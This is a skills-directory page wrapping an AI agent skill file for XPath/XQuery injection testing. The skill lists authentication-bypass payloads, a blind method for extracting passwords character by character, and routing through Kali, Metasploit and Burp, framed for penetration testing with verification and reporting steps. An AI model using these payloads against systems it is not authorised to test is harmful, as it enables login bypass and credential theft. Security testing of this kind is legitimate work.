XPath / XQuery injection — breaking out of XPath queries over XML data to bypass authentication, alter logic, or blind-extract nodes (no privilege model, so the whole document is reachable). Tier 1. Payloads: payloads/ldap-xpath-xslt.md. Use when input reaches an XPath/XQuery (XML-backed auth/search).
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Xpath Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-xpath-injection)
---
name: xpath-injection
description: "XPath / XQuery injection — breaking out of XPath queries over XML data to bypass authentication, alter logic, or blind-extract nodes (no privilege model, so the whole document is reachable). Tier 1. Payloads: payloads/ldap-xpath-xslt.md. Use when input reaches an XPath/XQuery (XML-backed auth/search)."
---
# XPath / XQuery Injection
XML has no per-node access control, so a working injection can read the entire document. Payloads: `${CLAUDE_PLUGIN_ROOT}/payloads/ldap-xpath-xslt.md`.
## Trigger phrases
`xpath injection, xquery injection, xml query injection, xpath auth bypass`
## Method
1. **Probe/auth bypass:** `' or '1'='1`, `" or "1"="1`, `x' or name()='username' or 'x'='y`, `']|//user/*|a['`.
2. **Blind extraction:** `substring((//user[1]/password),N,1)='X'` with a boolean oracle; enumerate node names with `name(//*[N])`, counts with `count(//user)`.
3. **Errors:** malformed expressions to leak engine/structure.
## Escalation
Auth bypass → access; full-document extraction → credential/data disclosure.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The injected expression, the bypass or extracted nodes, and the affected query.